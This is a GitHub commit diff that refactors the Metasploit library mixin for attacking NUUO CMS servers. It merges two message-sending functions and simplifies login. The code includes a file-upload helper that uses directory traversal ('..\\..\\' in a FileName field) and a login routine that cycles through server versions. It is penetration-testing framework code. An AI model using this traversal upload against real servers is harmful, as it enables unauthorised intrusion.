Skip to content

Commit

Permalink
add bcoles suggestions
Browse files Browse the repository at this point in the history
  • Loading branch information
Pedro Ribeiro committed Jan 30, 2019
1 parent 3aada69 commit bae83e9
Showing 1 changed file with 51 additions and 92 deletions.
143 changes: 51 additions & 92 deletions lib/msf/core/exploit/remote/nuuo.rb
Expand Up @@ -26,8 +26,8 @@ def initialize(info = {})
Opt::RHOST,
Opt::RPORT(5180),
OptString.new('SESSION', [false, 'Session number of logged in user']),
OptString.new('USERNAME', [true, 'Username to login as', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified user']),
OptString.new('USERNAME', [false, 'Username to login as', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified user', '']),
], Msf::Exploit::Remote::Nuuo)

register_advanced_options(
Expand Down Expand Up @@ -89,63 +89,38 @@ def nucs_send_msg_async(msg)
end
end

##
# Sends a protocol message synchronously - sends and returns the result
##
def nucs_send_msg(msg)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
data = sock.recv(4096)
more_data = ''
if data =~ /Content-Length:([0-9]+)/
data_sz = $1.to_i
recv = 0
while recv < data_sz
new_data = sock.recv(4096)
more_data << new_data
recv += new_data.length
end
end
# socket cannot be closed, it causes exploits to fail...
#sock.close
return [data, more_data]
rescue
return ["",""]
end
end

##
# Sends a protocol data message synchronously - sends and returns the result
# A data message is composed of two parts: first the message length and protocol headers,
# then the actual data.
# then the actual data, while a non-data message only contains the first part.
##
def nucs_send_data_msg(msg, data)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
sock.write(data)
data = sock.recv(4096)
more_data = ''
if data =~ /Content-Length:([0-9]+)/
data_sz = $1.to_i
recv = 0
while recv < data_sz
new_data = sock.recv(4096)
more_data << new_data
recv += new_data.length
end
def nucs_send_msg(msg, data = nil)
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
if data != nil
sock.write(data.to_s)
end
res = sock.recv(4096)
more_data = ''
if res =~ /Content-Length:([0-9]+)/
data_sz = $1.to_i
recv = 0
while recv < data_sz
new_data = sock.recv(4096)
break if !new_data || new_data.length == 0
more_data << new_data
recv += new_data.length
end
# socket cannot be closed, it causes exploits to fail...
#sock.close
return [data, more_data]
rescue
return ["",""]
end
# socket cannot be closed, it causes exploits to fail...
#sock.close
return [res, more_data]
rescue
return ['', '']
end


##
# Downloads a file from the CMS install root.
# Add the ZIP extraction and decryption routine once support for it is added to msf.
Expand All @@ -160,64 +135,48 @@ def nucs_download_file(filename, decrypt = false)
# Uploads a file to the CMS install root.
##
def nucs_upload_file(filename, file_data)
data = nucs_send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
if data[0] =~ /200/
true
else
false
end
end

# logs in to the NUCS server
# first, it tries to use the datastore SESSION if such exists
# if not, it then tries to login using the datastore USERNAME and PASSWORD
# In order to login properly, we need to guess the server version...
# ... so just try all of them until we hit the right one
def nucs_login
if datastore['SESSION'] != nil
# since we're logged in, we don't need to guess the version any more
@nucs_session = datastore['SESSION']
elsif datastore['PASSWORD'] != nil
@nucs_versions.shuffle.each do |version|
@nucs_version = version
data = login_password
if data == nil
next
else
@nucs_session = data
break
end
end
else
@nucs_versions.shuffle.each do |version|
@nucs_version = version
data = login_nopass
if data == nil
next
else
@nucs_session = data
break
end
end
return
end
end

private
def login_nopass
data = nucs_send_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \
"Password-Length: 0", "TimeZone-Length: 0"])
if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
return $1
else
return nil
end
end
@nucs_versions.shuffle.each do |version|
@nucs_version = version

def login_password
data = nucs_send_data_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \
"Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD'])
if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
return $1
else
return nil
res = nucs_send_msg(
[
"USERLOGIN",
"Version: #{@nucs_version}",
"Username: #{datastore['USERNAME']}",
"Password-Length: #{datastore['PASSWORD'].length}",
"TimeZone-Length: 0"
],
datastore['PASSWORD']
)

if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
@nucs_session = $1
break
end
end
end

private
##
# Formats the message we want to send into the correct protocol format
##
Expand Down

0 comments on commit bae83e9

Please sign in to comment.